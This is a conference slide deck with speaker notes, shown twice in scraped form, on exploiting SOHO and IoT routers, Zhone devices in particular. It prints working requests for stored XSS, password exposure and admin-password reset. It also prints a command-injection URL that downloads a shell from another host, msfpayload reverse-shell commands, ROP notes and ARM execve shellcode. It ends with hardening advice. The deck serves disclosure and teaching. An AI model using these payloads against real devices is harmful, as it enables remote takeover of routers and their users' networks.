Advanced SOHO Router
Exploitation
Lyon Yang / @l0Op3r
Lyon.yang.s@gmail.com
• Hi everyone my name is Lyon Yang
• I hack IoT and embedded systems.
• I live in sunny Singapore.
• Singapore is a smart city with IoT already
deployed.
• Taxi drivers in SG will become robots.
• I work at a company called Vantage Point
• Strongest technical team in Singapore/SE Asia.
• Large collective of passionate hackers.
• Working in the financial and government sectors.
Today I want to share with you a story:
• 1 year ago, I set about to try and become the
“corelan” of ARM and MIPS exploitation - a
formidable task!
• I wanted to fully understand embedded systems and
try to contribute back into the community.
• and in the process pop many shells!
Who Am I ?
I am a rather regular guy…
• Basic understanding of ASM and
exploitation
• Attended some training events myself
• Corelan, HITB, OSCP
Practice Makes Perfect
• I started buying embedded devices and
‘playing’
• Working on IoT till 2-3am most mornings.
Immature
• The current state of embedded hacking
• Rather immature.
 I learnt quickly that tools don’t work.
 A lot of things crash..
 Support that was supported, isn’t
actually supported.
 Answers on StackOverflow are very
limited…
1990s
The state of IoT and embedded security.
Equally as immature as the tools.
• “1990 called” - Send our bugs back
• Basic strcpy/memcpy exploits
• Not much privilege separation
• Unsecured host OS
• Backdoors are often ‘vendor features’
• Not all vendors care about security
Attack Surface
• Attack Surface of IoT
• Think of IoT devices as miniature
computers
• ARM or MIPS CPU
• “Hard-Drive” is a memory IC
• Runs Linux (typically)
• Communicate over WiFi/Wired
• HTTPD, UnPnP, FTPD, SSHD, TelnetD
Hardware
Hardware Attacks:
• Image the IoT device as soon as possible
• This involves dumping the memory IC.
Not a difficult task.
• Few hundred $ of gear
• Hot-Air Gun “Rework Station”
• IC Pick Adapter (SOP 20)
• IC Pick
Dump Firmware
Other alternatives
• Firmware updates are often online
• Can be unpacked using freely available tools
(binwalk, fmk, squashfs)
Once we have the Firmware – its digging time.
• Identify all software on the device
• Find all shared libraries (Look for custom ones)
• Find each available Software Input / Entry Point
• It does not take long before your finding shells.
At Vantage Point I work with IoT vendors within SE
Asia
Network Services (httpd/telnetd…)
– Found more stack overflows than you
can count
– “Every string was insecurely handled”
Admin “restricted” Shells
• command1 | sh
• sh
• dumpmem/readmem
Bugs
• Backdoor User(s)
• Security Implemented in Client Side
• Debug interfaces left active
• File Upload -> Shell
• Arbitrary File Read (../../../../)
• Command Injection
• Stack Overflows
• Unauthorized Remote Access via UPnP
In IoT we want Remote Unauthenticated
bugs
• Large scale device compromises.
• Telnetd & httpd are first targets
• Daemon re-spawn on crash
• Lots of unauthenticated content
• Both run as root
• Remote access often allowed
• Many fuzzing tools available
• HTTP is a big protocol!
• Developers typically modify open source software
• Customized to meet their own needs.
• MicroHTTPD, BusyBox.
• This requires you are a strong C, C++ Developer
• Most developers now-a-days, are not so strong.
• Customizations exactly where we find bugs.
• Stack Overflows in vendor modifications
• Additional File Handlers or HTTP Methods
• Authentication
• Password Reset
• Log File Access
• Typically I find bugs like these:
• All hail the might of IoT Security
ZHONE
Zhone Technologies is a Global Leader
in Fiber Access Transformation for
Service Provider and Enterprise
Networks!
Based in the US
Reference from
zhone.com
Telcos using Zhone Routers
• Reference from Shodan
Attacking your tech support
Stored XSS
• POST
/zhnsystemconfig.cgi?snmpSysName=ZNI
D24xxA-
Route&snmpSysContact=Zhone%20Glob
al%20Support&snmpSysLocation=www.z
hone.com
%3Cscript%3Ealert(1)%3C/script%3E&s
essionKey=1853320716 HTTP/1.1
Host: 192.168.1.1
Privilege Escalation
CVE-2014-8356 Privilege Escalation via Javascript Controls
Access Control via Javascript! (Horrible!)
Direct Object Reference to administrative functions!
Plaintext Passwords
All username and passwords usually
found in the backup settings file!
CVE-2014-8537 – Exposed Plaintext
Username & Passwords
Passwords found to be BASE64 encoded
in backup settings file.
GET
/backupsettings.conf?action=getConfi
g&sessionKey=
Privilege Escalation Again?
POST /uploadsettings.cgi HTTP/1.1
Host: 192.168.1.1
-----------------------------75010019812050198961998600862
Content-Disposition: form-data; name="filename";
filename="backupsettings.conf" Content-Type: config/conf
<?xml version="1.0"?> <DslCpeConfig version="3.2">
…
<AdminPassword></AdminPassword>
…
</DslCpeConfig>
5 -----------------------------75010019812050198961998600862—
Command Injection (Telnetd)
CVE-2014-9118
Command Injection via the telnetd session
# download-sw “ftp://123:213@213/;ls -la”
Command Injection (HTTPD)
• Favourite way to look for Command Injection via
IDA Pro: Search for keyword “shell” in IDA PRO:
Sample Exploit:
/zhnping.cmd?&test=traceroute&sessionKey=985703201&ipAd
dr=192.168.1.1|wget%20http://192.168.1.17/shell%20-
O%20/tmp/shell&ttl=30&wait=3&queries=3
23
x41x41x41x41
GET /.htmlAAAAA…(7000
‘A’)…AAAA.html
POST /.tst HTTP/1.1
Host: 192.168.1.1
AAAA…..AAAA (7000 Characters)
24
Stack Executable
Stack commonly found to be executable
Cache Incoherency
Reference:
http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code
26
MIPS Cache Incoherency
First two ROP Gadgets  Call the sleep function
from libc library to flush the MIPS Data Cache.
For that we need two ROP Gadgets
1. Setup value 1 in $a0
2. Call libc sleep function
27
Bypass ASLR
Last two ROP Gadgets  Copy address of stack
and jump to stack to execute shellcode
28
ROP Gadgets
Commonly Craig Heffner IDA Script works best for
looking for ROP Gadgets:
https://github.com/devttys0/ida/tree/master/plugins/mipsrop
Example:
29
Excited to POP Shell!
30
Generate Shellcode
Generate Shellcode:
msfpayload linux/mipsbe/shell_reverse_tcp lport=31337
lhost=192.168.1.177 R
Bad Characters Problem! :
0x20 0x00 0x3a 0x0a 0x3f
Encode Shellcode:
msfencode -e mipsbe/longxor -b '0x20 0x00 0x3a 0x0a 0x3f' -t c
31
No Shell??
No Shell!?
Traced through
GDB Debugger
1. ROP Gadgets
worked fine
2. Shellcode
decodes
correctly
32
Bad Characters
33
MIPS Encoder
34
Shell Died Instantly?!
35
Problem
Router monitors, kills and re-spawns HTTPD
service
Solution:
Fork the shellcode
36
MIPS Exploit Writing
Clear Cache
 Sleep()
ASLR
 Use ROP Gadget to jump to Stack
Bad Characters
 Wrote your own encoder
Auto-Respawn Process Monitoring
 Fork the Shellcode Process
37
0-Day Demo
DEM
OIf time permits we’ll learn briefly how to write the 0-Day MIPS
Exploit later!
38
Same issues in ARM
Cache Incoherency
 Just encode the data portion
ASLR
 Use ROP Gadget to jump to Stack
Bad Characters
 Wrote your own encoder
Auto-Respawn Process Monitoring
 Fork the Shellcode Process
Cache Incoherency
• Self-modifying code
(Encoder/Decoder) would commonly
cause Cache Incoherency
• Instructions stored in Instruction
Cache will execute instead of Data
Cache
• Modified Shellcode is stored in Data
Cache and will not execute
Reference:
http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code
Cache Incoherency (ARM)
• Encode and decode only the data
portion of the shellcode.
Data is not considered as Instructions!
Sample ARM Shellcode
_start:
.code 32
add r3, pc, #1
bx r3  Switch to "Thumb Mode (16-bit)”
.code 16
mov r0, pc  (We place the address of pc in r0)
add r0, #10  Add 10 to r0 (point to //bin/sh)
str r0, [sp, #4]  Place it on the stack
add r1, sp, #4  Copy location of /bin/sh to r1
sub r2, r2, r2  “Set r2 to 0” (Null byte free instructions)
mov r7, 11  syscall execve in r7
svc 1  Execute syscall
.ascii "//bin/sh0” Data Portion
Decoding Data
Decoder
Shellcode
(Instructions)
Shellcode
(Encoded Data)
Decode
Read Data Shellcode
(Decoded Data)
Instruction Cache Data Cache
ARMEncoder
ARMCoder (Alpha Stage)
• Mthumb encoder (Encodes all or part of your ARM Shellcodes)
• Provides you with an encoder
• Objdump your shellcode binary to specific formats like C: "x41x42x43x44”
Upcoming features
• Detects for bad characters
• 32bit encoder
• Generates Shellcode
• Accept other forms of shellcode input. (Currently only supports reading from
binary)
• Added support for MIPS Architecture
• Download Link: https://github.com/l0Op3r/ARMCoder
How do we protect against these
attacks?
• Securing the web application:
– Back to basics like implementing input
filtering, proper session management etc
(OWASP)
• Insecure C Programs
– Do not use insecure C functions like
strcpy(), memcpy() etc
– Compile binary with secure parameters
like:
-fstack-protector-all -pie -fPIE --
D_FORTIFY_SOURCE=2
Awesome References!
• Craig Heffner
http://www.devttys0.com/
• Johnathan Salwan http://shell-
storm.org/
Special Thanks
• Bernhard Mueller
• Paul Craig
• Stefan
Streichsbier
• Roberto Suggi
Liverani
• Han Lee
• Ryan Baxendale
47
Contact Me
Email: lyon.yang.s@gmail.com
Twitter/Github: @l0Op3r

Advanced SOHO Router Exploitation XCON

  • 1.
    Advanced SOHO Router Exploitation LyonYang / @l0Op3r Lyon.yang.s@gmail.com
  • 2.
    • Hi everyonemy name is Lyon Yang • I hack IoT and embedded systems. • I live in sunny Singapore. • Singapore is a smart city with IoT already deployed. • Taxi drivers in SG will become robots. • I work at a company called Vantage Point • Strongest technical team in Singapore/SE Asia. • Large collective of passionate hackers. • Working in the financial and government sectors.
  • 3.
    Today I wantto share with you a story: • 1 year ago, I set about to try and become the “corelan” of ARM and MIPS exploitation - a formidable task! • I wanted to fully understand embedded systems and try to contribute back into the community. • and in the process pop many shells!
  • 4.
    Who Am I? I am a rather regular guy… • Basic understanding of ASM and exploitation • Attended some training events myself • Corelan, HITB, OSCP Practice Makes Perfect • I started buying embedded devices and ‘playing’ • Working on IoT till 2-3am most mornings.
  • 5.
    Immature • The currentstate of embedded hacking • Rather immature.  I learnt quickly that tools don’t work.  A lot of things crash..  Support that was supported, isn’t actually supported.  Answers on StackOverflow are very limited…
  • 6.
    1990s The state ofIoT and embedded security. Equally as immature as the tools. • “1990 called” - Send our bugs back • Basic strcpy/memcpy exploits • Not much privilege separation • Unsecured host OS • Backdoors are often ‘vendor features’ • Not all vendors care about security
  • 7.
    Attack Surface • AttackSurface of IoT • Think of IoT devices as miniature computers • ARM or MIPS CPU • “Hard-Drive” is a memory IC • Runs Linux (typically) • Communicate over WiFi/Wired • HTTPD, UnPnP, FTPD, SSHD, TelnetD
  • 8.
    Hardware Hardware Attacks: • Imagethe IoT device as soon as possible • This involves dumping the memory IC. Not a difficult task. • Few hundred $ of gear • Hot-Air Gun “Rework Station” • IC Pick Adapter (SOP 20) • IC Pick
  • 9.
    Dump Firmware Other alternatives •Firmware updates are often online • Can be unpacked using freely available tools (binwalk, fmk, squashfs) Once we have the Firmware – its digging time. • Identify all software on the device • Find all shared libraries (Look for custom ones) • Find each available Software Input / Entry Point • It does not take long before your finding shells.
  • 10.
    At Vantage PointI work with IoT vendors within SE Asia Network Services (httpd/telnetd…) – Found more stack overflows than you can count – “Every string was insecurely handled” Admin “restricted” Shells • command1 | sh • sh • dumpmem/readmem
  • 11.
    Bugs • Backdoor User(s) •Security Implemented in Client Side • Debug interfaces left active • File Upload -> Shell • Arbitrary File Read (../../../../) • Command Injection • Stack Overflows • Unauthorized Remote Access via UPnP
  • 12.
    In IoT wewant Remote Unauthenticated bugs • Large scale device compromises. • Telnetd & httpd are first targets • Daemon re-spawn on crash • Lots of unauthenticated content • Both run as root • Remote access often allowed • Many fuzzing tools available • HTTP is a big protocol!
  • 13.
    • Developers typicallymodify open source software • Customized to meet their own needs. • MicroHTTPD, BusyBox. • This requires you are a strong C, C++ Developer • Most developers now-a-days, are not so strong. • Customizations exactly where we find bugs. • Stack Overflows in vendor modifications • Additional File Handlers or HTTP Methods • Authentication • Password Reset • Log File Access
  • 14.
    • Typically Ifind bugs like these: • All hail the might of IoT Security
  • 15.
    ZHONE Zhone Technologies isa Global Leader in Fiber Access Transformation for Service Provider and Enterprise Networks! Based in the US Reference from zhone.com
  • 16.
    Telcos using ZhoneRouters • Reference from Shodan
  • 17.
    Attacking your techsupport Stored XSS • POST /zhnsystemconfig.cgi?snmpSysName=ZNI D24xxA- Route&snmpSysContact=Zhone%20Glob al%20Support&snmpSysLocation=www.z hone.com %3Cscript%3Ealert(1)%3C/script%3E&s essionKey=1853320716 HTTP/1.1 Host: 192.168.1.1
  • 18.
    Privilege Escalation CVE-2014-8356 PrivilegeEscalation via Javascript Controls Access Control via Javascript! (Horrible!) Direct Object Reference to administrative functions!
  • 19.
    Plaintext Passwords All usernameand passwords usually found in the backup settings file! CVE-2014-8537 – Exposed Plaintext Username & Passwords Passwords found to be BASE64 encoded in backup settings file. GET /backupsettings.conf?action=getConfi g&sessionKey=
  • 20.
    Privilege Escalation Again? POST/uploadsettings.cgi HTTP/1.1 Host: 192.168.1.1 -----------------------------75010019812050198961998600862 Content-Disposition: form-data; name="filename"; filename="backupsettings.conf" Content-Type: config/conf <?xml version="1.0"?> <DslCpeConfig version="3.2"> … <AdminPassword></AdminPassword> … </DslCpeConfig> 5 -----------------------------75010019812050198961998600862—
  • 21.
    Command Injection (Telnetd) CVE-2014-9118 CommandInjection via the telnetd session # download-sw “ftp://123:213@213/;ls -la”
  • 22.
    Command Injection (HTTPD) •Favourite way to look for Command Injection via IDA Pro: Search for keyword “shell” in IDA PRO: Sample Exploit: /zhnping.cmd?&test=traceroute&sessionKey=985703201&ipAd dr=192.168.1.1|wget%20http://192.168.1.17/shell%20- O%20/tmp/shell&ttl=30&wait=3&queries=3
  • 23.
    23 x41x41x41x41 GET /.htmlAAAAA…(7000 ‘A’)…AAAA.html POST /.tstHTTP/1.1 Host: 192.168.1.1 AAAA…..AAAA (7000 Characters)
  • 24.
    24 Stack Executable Stack commonlyfound to be executable
  • 25.
  • 26.
    26 MIPS Cache Incoherency Firsttwo ROP Gadgets  Call the sleep function from libc library to flush the MIPS Data Cache. For that we need two ROP Gadgets 1. Setup value 1 in $a0 2. Call libc sleep function
  • 27.
    27 Bypass ASLR Last twoROP Gadgets  Copy address of stack and jump to stack to execute shellcode
  • 28.
    28 ROP Gadgets Commonly CraigHeffner IDA Script works best for looking for ROP Gadgets: https://github.com/devttys0/ida/tree/master/plugins/mipsrop Example:
  • 29.
  • 30.
    30 Generate Shellcode Generate Shellcode: msfpayloadlinux/mipsbe/shell_reverse_tcp lport=31337 lhost=192.168.1.177 R Bad Characters Problem! : 0x20 0x00 0x3a 0x0a 0x3f Encode Shellcode: msfencode -e mipsbe/longxor -b '0x20 0x00 0x3a 0x0a 0x3f' -t c
  • 31.
    31 No Shell?? No Shell!? Tracedthrough GDB Debugger 1. ROP Gadgets worked fine 2. Shellcode decodes correctly
  • 32.
  • 33.
  • 34.
  • 35.
    35 Problem Router monitors, killsand re-spawns HTTPD service Solution: Fork the shellcode
  • 36.
    36 MIPS Exploit Writing ClearCache  Sleep() ASLR  Use ROP Gadget to jump to Stack Bad Characters  Wrote your own encoder Auto-Respawn Process Monitoring  Fork the Shellcode Process
  • 37.
    37 0-Day Demo DEM OIf timepermits we’ll learn briefly how to write the 0-Day MIPS Exploit later!
  • 38.
    38 Same issues inARM Cache Incoherency  Just encode the data portion ASLR  Use ROP Gadget to jump to Stack Bad Characters  Wrote your own encoder Auto-Respawn Process Monitoring  Fork the Shellcode Process
  • 39.
    Cache Incoherency • Self-modifyingcode (Encoder/Decoder) would commonly cause Cache Incoherency • Instructions stored in Instruction Cache will execute instead of Data Cache • Modified Shellcode is stored in Data Cache and will not execute Reference: http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code
  • 40.
    Cache Incoherency (ARM) •Encode and decode only the data portion of the shellcode. Data is not considered as Instructions!
  • 41.
    Sample ARM Shellcode _start: .code32 add r3, pc, #1 bx r3  Switch to "Thumb Mode (16-bit)” .code 16 mov r0, pc  (We place the address of pc in r0) add r0, #10  Add 10 to r0 (point to //bin/sh) str r0, [sp, #4]  Place it on the stack add r1, sp, #4  Copy location of /bin/sh to r1 sub r2, r2, r2  “Set r2 to 0” (Null byte free instructions) mov r7, 11  syscall execve in r7 svc 1  Execute syscall .ascii "//bin/sh0” Data Portion
  • 42.
    Decoding Data Decoder Shellcode (Instructions) Shellcode (Encoded Data) Decode ReadData Shellcode (Decoded Data) Instruction Cache Data Cache
  • 43.
    ARMEncoder ARMCoder (Alpha Stage) •Mthumb encoder (Encodes all or part of your ARM Shellcodes) • Provides you with an encoder • Objdump your shellcode binary to specific formats like C: "x41x42x43x44” Upcoming features • Detects for bad characters • 32bit encoder • Generates Shellcode • Accept other forms of shellcode input. (Currently only supports reading from binary) • Added support for MIPS Architecture • Download Link: https://github.com/l0Op3r/ARMCoder
  • 44.
    How do weprotect against these attacks? • Securing the web application: – Back to basics like implementing input filtering, proper session management etc (OWASP) • Insecure C Programs – Do not use insecure C functions like strcpy(), memcpy() etc – Compile binary with secure parameters like: -fstack-protector-all -pie -fPIE -- D_FORTIFY_SOURCE=2
  • 45.
    Awesome References! • CraigHeffner http://www.devttys0.com/ • Johnathan Salwan http://shell- storm.org/
  • 46.
    Special Thanks • BernhardMueller • Paul Craig • Stefan Streichsbier • Roberto Suggi Liverani • Han Lee • Ryan Baxendale
  • 47.

Editor's Notes

  • #3 Pentester at Vantage Point ----- Meeting Notes (17/8/15 13:35) ----- from Singapore love to hack iot
  • #4  ----- Meeting Notes (17/8/15 13:35) ----- corelan the x86 guy
  • #7 Different Vendors same software
  • #11  ----- Meeting Notes (18/8/15 06:01) ----- Two favourite services, httpd and telnetd
  • #12  ----- Meeting Notes (17/8/15 13:35) ----- Discover all kind of bugs
  • #17 Talk about how singapore is affected Wan by default Only users privileges
  • #19 Common that lots of functionalities can be accessed directly Get all filenames and extensions and bruteforce without valid session
  • #20 Other vendors unauth Very common password is just encoded
  • #21 Direct object reference again
  • #22 Common to have command injection everywhere
  • #24  ----- Meeting Notes (18/8/15 11:44) ----- x86 eip pointer
  • #26 Same Code Instruction Cache Data Cache Self modifying code only modify code in the data cache Instruction Cache takes priority Reference: http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code
  • #27 force it to call a blocking function such as sleep(1), or similar. During sleep the processor will switch contexts to give CPU cycles to other running processes and the cache will be flushed automatically.  Could probably use NOP SLED But sometimes dosent always work. Cleanest way to do it is to flush it!
  • #32 Problems with msf encoder So probably have to encode the bad bytes ourselves
  • #38 Spawn 4 shells to show how reliable Evil things you can do Hack other internal users in the vlan Like ISP tech support team or subscribers
  • #40 Reference: http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code
  • #41 MIPS Sleep function ARM have assembly code for flush with bad characters
  • #45 -Wall -Wextra Turn on all warnings to help ensure the underlying code is secure. -Wconversion -Wsign-conversion Warn on unsign/sign conversion -Wformat­security Warn about uses of format functions that represent possible security problems -Werror Turns all warnings into errors. -arch x86_64 Compile for 64-bit to take max advantage of address space (important for ASLR; more virtual address space to chose from when randomising layout). -fstack-protector-all -Wstack-protector --param ssp-buffer-size=4 Your choice of "-fstack-protector" does not protect all functions (see comments). You need -fstack-protector-all to guarantee guards are applied to all functions, although this will likely incur a performance penalty. Consider -fstack-protector-strong as a middle ground. The -Wstack-protector flag here gives warnings for any functions that aren't going to get protected. -pie -fPIE For ASLR -ftrapv Generates traps for signed overflow (currently bugged in gcc) -­D_FORTIFY_SOURCE=2 ­O2 Buffer overflow checks. See also difference between =2 and =1 ­-Wl,-z,relro,-z,now RELRO (read-only relocation). The options relro & now specified together are known as "Full RELRO". You can specify "Partial RELRO" by omitting the now flag. RELRO marks various ELF memory sections read­only (E.g. the GOT)